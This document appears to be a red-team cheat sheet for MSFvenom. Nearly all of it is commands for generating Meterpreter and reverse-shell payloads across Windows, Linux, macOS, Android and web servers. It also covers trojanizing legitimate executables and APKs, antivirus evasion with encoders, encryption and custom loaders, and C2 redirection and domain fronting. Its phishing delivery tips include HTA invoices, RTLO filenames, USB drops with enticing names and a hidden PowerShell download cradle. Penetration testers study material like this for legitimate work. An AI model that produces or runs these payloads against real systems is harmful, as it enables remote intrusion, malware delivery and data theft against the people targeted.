~ToolsMSFvenom.mdx
Tools·INTERMEDIATE
18 minsverified: 2026-07-01
MSFvenom Cheat Sheet
Enhanced, practical msfvenom reference covering payload generation across all platforms, staged vs stageless selection, encoding, encryption, bad-character handling, template injection, advanced handlers, and real-world delivery techniques.
msfvenommetasploitpayloadshellcodeevasiontools
_
Understanding Payload Types
MSFvenom produces two fundamental payload categories. Choosing correctly impacts detection, reliability, and network behavior.
| Type | Naming Pattern | Size | Behavior | Best For |
|---|---|---|---|---|
| Staged | .../reverse_tcp (no _reverse prefix) | Small | Delivers a tiny stager; Metasploit uploads the full stage after initial connection | Size-constrained exploits, buffer overflows, limited bandwidth |
| Stageless | ..._reverse_tcp (underscore prefix) | Large | Complete payload in one shot; no second-stage download | Production ops, stable C2, evading network inspection |
Key rule: Prefer stageless unless you have a specific reason (exploit size limits, known firewall constraints). Stageless eliminates the stager→stage roundtrip, reducing network artifacts and failure points.
_
Discovery & Reconnaissance Commands
Before generating any payload, enumerate what's available. Metasploit updates frequently — always check your local installation.
~ / bash
# Payload enumeration
msfvenom -l payloads # All payloads
msfvenom -l payloads | grep -i windows # Windows only
msfvenom -l payloads | grep -i linux # Linux only
msfvenom -l payloads | grep -i meterpreter # Meterpreter variants
msfvenom -l payloads | grep -i reverse # Reverse shells only
msfvenom -l payloads | grep -i stageless # Stageless variants (underscore pattern)
# Other modules
msfvenom -l encoders # Available encoders
msfvenom -l nops # NOP sled generators
msfvenom -l formats # Output formats
msfvenom -l archs # Supported architectures
msfvenom -l encrypt # Encryption methods
msfvenom -l platforms # Target platforms
# Inspect a specific payload
msfvenom -p windows/x64/meterpreter_reverse_https --list-options
msfvenom -p linux/x64/meterpreter_reverse_tcp --list-options
# Filtered discovery examples
msfvenom -l payloads | grep "cmd/windows" # Windows command payloads
msfvenom -l payloads | grep "cmd/unix" # Unix command payloads
Tip:
--list-optionsreveals hidden configurable variables (exit functions, retry counters, custom headers for HTTP/S) that dramatically improve reliability.
_
Payload Naming Quick Reference
MSFvenom payload names follow a predictable structure. Understanding it helps you guess valid payloads before listing them.
~ / code
<platform>/<arch>/<payload>/<transport>
| Component | Examples |
|---|---|
platform | windows, linux, osx, android, java, php, python, cmd |
arch | x86, x64, aarch64, armle, mipsbe, mipsle |
payload | meterpreter, shell, meterpreter_reverse |
transport | tcp, http, https, tcp_dns, tcp_rc4 |
Naming Gotchas:
- ▹Staged:
meterpreter/reverse_tcp— note the slash between payload and transport - ▹Stageless:
meterpreter_reverse_tcp— note the underscore replacing the slash - ▹
reverse= callback to attacker;bind= listener opens on target
_
Windows Payloads
::Reverse TCP (Staged & Stageless)
~ / bash
# Staged (smaller initial size; pulls stage over socket)
# x86 staged reverse TCP
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x86_staged.exe
# x64 staged reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x64_staged.exe
# Stageless (full payload embedded; recommended)
# x64 stageless reverse TCP
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x64_stageless.exe
# x86 stageless
msfvenom -p windows/x86/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f exe -o rev_x86_stageless.exe
::Reverse HTTP/HTTPS (C2-Friendly, Firewall Evasive)
~ / bash
# HTTP transport (blends with web traffic; can use domain for LHOST)
msfvenom -p windows/meterpreter/reverse_http \
LHOST=cdn.example.com LPORT=8080 \
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
-f exe -o rev_http.exe
# HTTPS transport — strongly preferred for production
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=cdn.example.com LPORT=8443 \
HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
-f exe -o rev_https.exe
Handler note for HTTPS: Set
HandlerSSLCert /path/to/cert.pemandStagerVerifySSLCert false(or provide the CA cert for true verification).
::Named Pipe & Domain Fronting Transports
~ / bash
# Reverse TCP over SMB named pipe (useful for pivoting through internal networks)
msfvenom -p windows/x64/meterpreter/reverse_named_pipe \
PipeName=meterpreter LHOST=10.10.10.10 \
-f exe -o rev_pipe.exe
# Reverse HTTPS with custom URI (helps blend into legitimate URL patterns)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=443 \
LURI=/api/v3/update \
HttpUserAgent="Mozilla/5.0" \
-f exe -o rev_https_uri.exe
::PowerShell-Based Delivery
~ / bash
# Raw PowerShell script (pipe into IEX, -enc, or download cradle)
msfvenom -p cmd/windows/reverse_powershell \
LHOST=10.10.10.10 LPORT=4444 \
-f ps1 -o rev.ps1
# PowerShell with embedded Meterpreter (larger but feature-rich)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f psh -o rev_met.ps1
# PowerShell with reflection (no disk write of shellcode)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f psh-reflection -o rev_ref.ps1
::Office Document & HTA Vectors
~ / bash
# VBA macro payload (embed into Word/Excel documents for phishing)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f vba -o macro.vba
# HTA (HTML Application) — double-click executes via update.exe
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f hta-psh -o drop.hta
# VBS script payload
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f vbs -o rev.vbs
::DLL Outputs (for Sideloading / Hijacking)
~ / bash
# x86 DLL — inject with: rundll32.exe x86.dll,Control_RunDLL
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f dll -o payload_x86.dll
# x64 DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f dll -o payload_x64.dll
# DLL with custom export name (for specific sideloading targets)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f dll -o plugin.dll
::Bind Shells (Target Opens Listening Port)
~ / bash
# Standard Meterpreter bind (connect to target from attacker)
msfvenom -p windows/x64/meterpreter/bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f exe -o bind_x64.exe
# Hidden bind (appears to bind to port 0; stealthier)
msfvenom -p windows/x64/meterpreter/bind_hidden_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f exe -o bind_hidden.exe
::Service & MSI Formats
~ / bash
# Windows Service executable (for service-based persistence)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f exe-service -o rev_svc.exe
# MSI installer package (runs via msiexec /quiet)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f msi -o rev.msi
# MSI with service (installs as Windows service)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f msi-nouac -o rev_nouac.msi
_
Linux Payloads
::Reverse TCP (Staged & Stageless)
~ / bash
# x86 staged ELF
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x86_staged.elf
# x64 staged ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x64_staged.elf
# x64 stageless — preferred
msfvenom -p linux/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_x64_stageless.elf
# x64 stageless with HTTP transport (corporate egress)
msfvenom -p linux/x64/meterpreter_reverse_http \
LHOST=10.10.10.10 LPORT=8080 \
-f elf -o lin_http.elf
# x64 stageless with HTTPS transport
msfvenom -p linux/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f elf -o lin_https.elf
::Lightweight Shell Payloads (Non-Meterpreter)
When size matters or Meterpreter isn't needed:
~ / bash
# Minimal x64 reverse shell (no Meterpreter overhead)
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_x64.elf
# Minimal x86 reverse shell
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_x86.elf
# Find-gadget reverse shell (uses /bin/sh — tiny)
msfvenom -p linux/x86/shell/find_tag \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o shell_find.elf
::Bind Shells
~ / bash
# Meterpreter bind (staged)
msfvenom -p linux/x64/meterpreter/bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f elf -o bind_x64.elf
# Plain shell bind
msfvenom -p linux/x64/shell_bind_tcp \
RHOST=0.0.0.0 LPORT=4444 \
-f elf -o bind_shell_x64.elf
::ARM & MIPS (Embedded/IoT)
~ / bash
# ARM little-endian reverse TCP (Raspberry Pi, embedded)
msfvenom -p linux/armle/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_arm.elf
# MIPS big-endian reverse TCP (routers, IoT)
msfvenom -p linux/mipsbe/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_mips.elf
# MIPS little-endian reverse TCP
msfvenom -p linux/mipsle/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f elf -o lin_mipsle.elf
_
macOS Payloads
~ / bash
# x64 reverse TCP shell (staged)
msfvenom -p osx/x64/shell/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f macho -o macos_shell.macho
# x64 Meterpreter reverse TCP (stageless)
msfvenom -p osx/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f macho -o macos_met_tcp.macho
# x64 Meterpreter reverse HTTPS — preferred for ops
msfvenom -p osx/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f macho -o macos_met_https.macho
# Raw shellcode (inject into another process or binary)
msfvenom -p osx/x64/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o macos_sc.bin
# Python payload (works across macOS versions)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o macos.py
_
Android Payloads
~ / bash
# Standalone APK (stageless Meterpreter)
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f apk -o dropper.apk
# Embed into existing APK (injects payload into legitimate app)
msfvenom -x legitimate_app.apk -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-o trojaned_app.apk
# HTTPS variants (more evasive)
msfvenom -p android/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f apk -o and_https.apk
# HTTP variant
msfvenom -p android/meterpreter/reverse_http \
LHOST=10.10.10.10 LPORT=8080 \
-f apk -o and_http.apk
# Android with hidden app icon
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f apk -o hidden.apk \
AndroidHideAppIcon=true
Embedding tip: The
-xtemplate method requires the original APK to not have strong integrity checks. Some modern apps will crash if tampered with. Test thoroughly.
_
Web Application Payloads
::PHP
~ / bash
# Meterpreter reverse TCP (stageless; most compatible)
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o shell.php
# Minimal PHP reverse shell (tiny; no Meterpreter)
msfvenom -p php/reverse_php \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o tiny.php
# Meterpreter over HTTPS (if target has OpenSSL)
msfvenom -p php/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o shell_https.php
# Download & execute style (prepend to any PHP file)
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o payload.php
WAF evasion: Many WAFs flag Meterpreter magic bytes. Prepend benign PHP code:
echo '<?php // Copyright 2026' > shell.php && cat payload.php >> shell.php
::Java (JSP / WAR)
~ / bash
# JSP reverse shell (drop into webapps/ or upload via manager)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o shell.jsp
# WAR package (deploy to Tomcat/JBoss/WildFly via manager interface)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f war -o app.war
# Java Meterpreter (more features than plain shell)
msfvenom -p java/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f jar -o met.jar
# Java Meterpreter HTTPS
msfvenom -p java/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f jar -o met_https.jar
WAR deployment: Upload via
/manager/htmlon Tomcat, then access/app/(WAR name becomes the path).
::ASP / ASPX
~ / bash
# Classic ASP (older IIS)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f asp -o shell.asp
# ASPX (modern IIS, .NET Framework)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f aspx -o shell.aspx
# ASPX with HTTPS transport
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f aspx -o shell_https.aspx
::ColdFusion
~ / bash
# ColdFusion payload (Adobe CFML)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f cfm -o shell.cfm
_
Scripting & Interpreter Payloads
These generate code for interpreted languages — useful when you have code execution but can't drop binaries.
~ / bash
# Shell & Command payloads
# Bash reverse shell (piped to bash on target)
msfvenom -p cmd/unix/reverse_bash \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.sh
# Netcat-style reverse shell (uses /bin/sh)
msfvenom -p cmd/unix/reverse_netcat \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev_nc.sh
# Python reverse shell (works on Python 2.7+ and 3.x)
msfvenom -p cmd/unix/reverse_python \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.py
# Python Meterpreter (full Meterpreter feature set)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o met.py
# Python Meterpreter HTTPS
msfvenom -p python/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o met_https.py
# Perl reverse shell
msfvenom -p cmd/unix/reverse_perl \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.pl
# Ruby reverse shell
msfvenom -p cmd/unix/reverse_ruby \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.rb
# Node.js / JavaScript reverse shell
msfvenom -p nodejs/shell_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.js
# Lua reverse shell (for Redis, Wireshark, etc.)
msfvenom -p cmd/unix/reverse_lua \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o rev.lua
Execution oneliners:
- ▹Python:
python3 -c "$(cat rev.py)"orpython3 rev.py- ▹Ruby:
ruby rev.rb- ▹Node:
node rev.js- ▹Perl:
perl rev.pl- ▹Lua:
lua rev.lua
_
Encoders, Evasion & Anti-Virus
::Important Reality Check
Encoding helps with bad-character avoidance and minor signature obfuscation, but it is not a reliable AV/EDR evasion technique on modern endpoints. Combine encoding with other techniques for real operations.
::Listing & Selecting Encoders
~ / bash
# List all encoders
msfvenom -l encoders
# Notable encoders by architecture:
# x86: x86/shikata_ga_nai (polymorphic XOR) — changes signature each iteration
# x86: x86/xor_dynamic, x86/context_stat, x86/call4_dword_xor
# x64: x64/xor_dynamic, x64/xor
# All: cmd/powershell_base64, cmd/echo, cmd/brace
# Apply encoder with iterations (each iteration re-encodes output of previous)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-e x64/xor_dynamic -i 3 \
-f exe -o encoded.exe
# Multiple encoders in chain (applied left to right)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o heavily_encoded.exe
::Encoder Selection by Goal
| Goal | Encoder | Notes |
|---|---|---|
| Polymorphism (signature evasion) | x86/shikata_ga_nai | Changes every generation; effective against static signatures |
| Bad char: null bytes | x86/xor_dynamic | Produces null-free output |
| CMD/batch delivery | cmd/powershell_base64 | Base64 wraps for PowerShell cradles |
| Size constraint | x86/countdown | Very small decoder stub |
| Modern x64 binary | x64/xor_dynamic | Good balance of size and effectiveness |
_
Encryption Options
MSFvenom supports encrypting the payload body. The handler decrypts automatically. Useful when your dropper/loader expects encrypted input.
~ / bash
# List encryption algorithms
msfvenom --list encrypt
# AES-256 encrypted payload
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt aes256 --encrypt-key MySecretPass123 \
-f exe -o aes_encrypted.exe
# RC4 encrypted payload
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt rc4 --encrypt-key MyKey \
-f exe -o rc4_encrypted.exe
# XOR encrypted payload
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt xor --encrypt-key secret \
-f exe -o xor_encrypted.exe
# Base64 encoded (not encryption, but useful for transport)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
--encrypt base64 \
-f exe -o b64_encoded.exe
Warning: Encryption may behave differently with staged payloads. Always test the specific payload + format + handler combination before operational use.
_
Bad Characters & Restrictions
Bad characters are bytes that break your delivery vector (null terminators in string functions, newline in HTTP headers, etc.).
::Specifying Bad Characters
~ / bash
# Null byte restriction (most common for string buffers)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00' \
-f raw -o nullfree.bin
# Multiple bad chars (null + newline + carriage return + space)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00\x0a\x0d\x20' \
-f raw -o restricted.bin
# Full printable-only (extreme restriction)
msfvenom -p windows/x86/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-b '\x00\x01\x02\x03\x04\x05...\xff' \
-f raw -o printable.bin
::Common Bad Character Sets
| Scenario | Bad Characters | Why |
|---|---|---|
| String buffer overflow | \x00 | Null terminator ends string copy |
| HTTP header injection | \x00\x0a\x0d | Null, newline, carriage return break HTTP |
| Unicode buffer | \x00-\x2f | Many non-printable break wide-char functions |
| URL parameter | \x00\x20\x26\x3d | Null, space, &, = break URL parsing |
::NOP Sleds (Buffer Overflows)
~ / bash
# Generate NOP sled of specific length
msfvenom -p x86/nop -n 100 -f raw > nopsled.bin
# Append to payload for exploit development
cat payload.bin nopsled.bin > exploit.bin
_
Template Injection & Trojanization
Inject payload into a legitimate executable. The original program still runs (if -k is used), reducing suspicion.
::Basic Template Injection
~ / bash
# Inject payload into legitimate executable; preserve original functionality (-k)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-x notepad.exe -k \
-f exe -o trojan_notepad.exe
# Template with specific architecture
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-a x64 --platform windows \
-x putty.exe -k \
-f exe -o trojan_putty.exe
::How Template Injection Works
| Flag | Behavior |
|---|---|
-x <file> | Use <file> as the executable template |
-k | Keep template functionality — payload runs in a new thread; original exe executes normally |
(no -k) | Payload replaces the entry point; original program does not run |
Operational note: Signed binaries lose their signature after template injection. The file will show as unsigned, which can trigger SmartScreen/AppLocker.
_
Shellcode Generation & Injection
Generate raw shellcode for custom loaders, process injection, or exploit development.
~ / bash
# Raw shellcode (inject via your own loader)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f raw -o sc.bin
# C-formatted shellcode (paste into C/C++ source)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f c -o sc.c
# Python-formatted shellcode
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f python -o sc.py
# C# formatted (for .NET injectors)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f csharp -o sc.cs
# PowerShell-formatted shellcode bytes
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f ps1 -o sc.ps1
# JavaScript-formatted (for HTML/HTA delivery)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f js_be -o sc.js
# Hex string (for embedding in various contexts)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
-f hex -o sc.hex
::Advanced Shellcode Options
~ / bash
# Prepend migration stub (attempts to migrate to another process immediately)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
PrependMigrate=true PrependMigrateProc=explorer.exe \
-f raw -o sc_migrate.bin
# Exit function: thread (cleaner exit, doesn't kill host process)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=thread \
-f raw -o sc_thread.bin
# Exit function: process (kills host process on session end)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=process \
-f raw -o sc_process.bin
# Exit function: seh (uses Structured Exception Handler — for exploits)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.10.10.10 LPORT=8443 \
EXITFUNC=seh \
-f raw -o sc_seh.bin
::EXITFUNC Reference
| Value | Behavior | Use Case |
|---|---|---|
process | Terminate the entire process when payload exits | Standalone executables |
thread | Terminate only the payload thread; host process continues | DLL injection, thread-based injection |
seh | Uses Structured Exception Handler to return | Exploit development (stack/heap overflows) |
none | No explicit cleanup | Specialized injection scenarios |
_
Advanced Handler Configuration
The handler (exploit/multi/handler) must match your payload settings exactly.
::Basic Handler Setup
~ / bash
msfconsole -x "
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_https
set LHOST 10.10.10.10
set LPORT 8443
set HandlerSSLCert /path/to/unified.pem
set ExitOnSession false
exploit -j
"
::Critical Handler Options
~ / bash
# Inside msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_https
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 8443
# Network tuning
# Bind handler to specific interface (VPN tunnel, localhost forward)
msf6 exploit(multi/handler) > set ReverseListenerBindAddress 127.0.0.1
# Bind port (when behind NAT; LPORT is what payload calls, ReverseListenerBindPort is local)
msf6 exploit(multi/handler) > set ReverseListenerBindPort 8443
# HTTPS configuration
# Provide PEM-format certificate (private key + cert concatenated)
msf6 exploit(multi/handler) > set HandlerSSLCert /path/to/cert+key.pem
# Require payload to verify cert (stronger, but cert must be trusted/provisioned)
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
# Ignore cert verification errors (more compatible, less secure)
msf6 exploit(multi/handler) > set StagerVerifySSLCert false
# Session management
# Keep handler running after session (mandatory for -j background mode)
msf6 exploit(multi/handler) > set ExitOnSession false
# Accept multiple sessions on same handler
msf6 exploit(multi/handler) > set EXITFUNC thread
# Run handler as background job
msf6 exploit(multi/handler) > exploit -j
# Show active sessions
msf6 exploit(multi/handler) > sessions -l
# Interact with session
msf6 exploit(multi/handler) > sessions -i 1
::HTTP-Specific Handler Options
~ / bash
# For reverse_http / reverse_https payloads
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_https
# Custom URI path (must match LURI in payload if set)
msf6 exploit(multi/handler) > set LURI /api/v3/update
# Custom User-Agent check (if payload has custom UA)
msf6 exploit(multi/handler) > set HttpUnknownRequestResponse <html><body>404</body></html>
# Server header masquerading
msf6 exploit(multi/handler) > set HttpServerName nginx
# Cookie name customization
msf6 exploit(multi/handler) > set HttpCookie APISESSION
_
Multi/Redirect Handlers
Route callbacks through redirectors to protect your team server IP.
::DNS Redirector
~ / bash
# Payload points to redirector domain
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=redirector.example.com LPORT=443 \
-f exe -o rev_redirect.exe
# Redirector (socat) forwards to teamserver
socat TCP4-LISTEN:443,fork TCP4:teamserver.example.com:8443
::CDN / Domain Fronting
~ / bash
# Use a CDN domain that fronts to your origin
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=cdnfront.azureedge.net LPORT=443 \
HttpHostHeader=yourbackend.azurewebsites.net \
-f exe -o rev_front.exe
# Handler must match the Host header
msf6 exploit(multi/handler) > set HttpHostHeader yourbackend.azurewebsites.net
::SSH Tunnel Handler
~ / bash
# Forward local port through SSH tunnel to handler
ssh -R 8443:localhost:8443 user@vps.example.com
# Payload calls VPS IP; traffic tunnels to your local handler
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=vps.example.com LPORT=8443 \
-f exe -o rev_tunnel.exe
_
Staged vs Stageless — When to Use Which
| Factor | Staged | Stageless |
|---|---|---|
| Binary size | Smaller (1-5 KB typical) | Larger (100-300 KB typical) |
| Network reliability | Requires 2 connections; fragile on unstable networks | Single connection; more resilient |
| Firewall/Proxy | Needs direct socket; may fail through strict HTTP-only proxies | HTTP/S variants traverse most corporate proxies |
| Detection | Stager signature in memory; 2-stage artifact | Full payload in initial binary; single artifact |
| Meterpreter features | Full feature set (loaded on stage) | Full feature set (embedded) |
| Use case | Exploits with size limits (BOF, constrained RCE) | Phishing, USB drops, scheduled tasks, services |
| Naming | meterpreter/reverse_tcp | meterpreter_reverse_tcp |
Decision flow: If you have a buffer overflow with 100 bytes of space → staged. If you're sending a phishing email attachment → stageless. If you're unsure → stageless.
_
Real-World Delivery Techniques
::Email Phishing Attachments
~ / bash
# Office macro document (Word/Excel)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f vba -o macro.txt
# HTA attachment (bypasses some macro restrictions)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f hta-psh -o invoice.hta
# Compiled EXE disguised with right-to-left override (RTLO) in filename
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=phishdomain.com LPORT=443 \
-f exe -o updatefdp.exe # appears as update.pdf.exe visually
::Web Delivery (No File Drop)
~ / bash
# Generate a download-and-execute PowerShell command
# Use msfconsole web_delivery module for client-side execution:
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(web_delivery) > set PAYLOAD python/meterpreter/reverse_https
msf6 exploit(web_delivery) > set LHOST 10.10.10.10
msf6 exploit(web_delivery) > set LPORT 8443
msf6 exploit(web_delivery) > set TARGET 2 # PS1 target
msf6 exploit(web_delivery) > exploit
# Delivers a one-liner like: powershell -nop -w hidden -c IEX (New-Object Net.WebClient).downloadString('http://...')
::USB / Physical Drop
~ / bash
# AutoRun-compatible executable (legacy but still works in some environments)
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=c2.example.com LPORT=443 \
-f exe -o autorun.exe
# Name it something enticing on the USB: "Employee_Salaries_2026.exe"
# Add icon resources with a tool like Resource Hacker for legitimacy
::LOLBAS / Living Off The Land
~ / bash
# Generate a DLL for rundll32.exe sideloading
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=c2.example.com LPORT=443 \
-f dll -o propsys.dll # mimic a common Windows DLL name
# Target execution: rundll32.exe propsys.dll,Control_RunDLL
# Or for regsvr32: regsvr32 /s /u /i:http://server/payload.sct scrobj.dll
_
Troubleshooting & Common Errors
::Error: Payload generation failed / Invalid payload name
~ / bash
# Verify payload exists
msfvenom -l payloads | grep -i "your_payload_name"
# Check architecture matches platform (x64 payload on x86 platform fails)
msfvenom -p windows/x64/meterpreter_reverse_https --list-options | grep ARCH
::Error: Invalid format / Format not found
~ / bash
# List supported formats
msfvenom --list formats
# Common format selection by goal:
# exe = Windows executable
# elf = Linux executable
# macho = macOS executable
# dll = Windows DLL
# raw = Raw shellcode bytes
# c, python, csharp, ps1 = Language-formatted shellcode
# vba = Visual Basic macro
# vbs = VBScript
# hta-psh = HTA with PowerShell
# asp, aspx = Active Server Pages
# jsp, war = Java web payloads
# apk = Android package
# msi = Windows installer
# jar = Java archive
::Error: Handler receives no callback
| Check | Action |
|---|---|
| LHOST reachable? | nc -zv <LHOST> <LPORT> from target network |
| Firewall on target? | netsh advfirewall firewall or iptables -L |
| Handler running? | msf6 > jobs — handler should show as active |
| Payload matches handler? | Check PAYLOAD name character-for-character |
| Staged vs Stageless mismatch? | Staged payload needs staged handler; stageless needs stageless handler |
| HTTPS cert issues? | Try with StagerVerifySSLCert false first |
::Error: AV detection immediately
- ▹Don't rely on msfvenom encoding alone for AV evasion
- ▹Use custom loaders with process injection (VirtualAlloc → WriteProcessMemory → CreateRemoteThread)
- ▹Consider in-memory execution (PowerShell reflection, .NET assembly loading)
- ▹Sleep/obfuscation techniques before payload execution
- ▹Sign your binary with a valid code signing cert where possible
::Checking Generated Payload Details
~ / bash
# Check file type
file payload.exe
# Check payload size (staged vs stageless sanity check)
ls -la payload.exe
# Extract strings (see if LHOST/LPORT are visible in plaintext)
strings payload.exe | grep -i "10.10.10"
# Examine with hex editor / disassembler
xxd payload.exe | head -20
_
Quick Reference Tables
::Output Formats
| Format | Platform | Use Case |
|---|---|---|
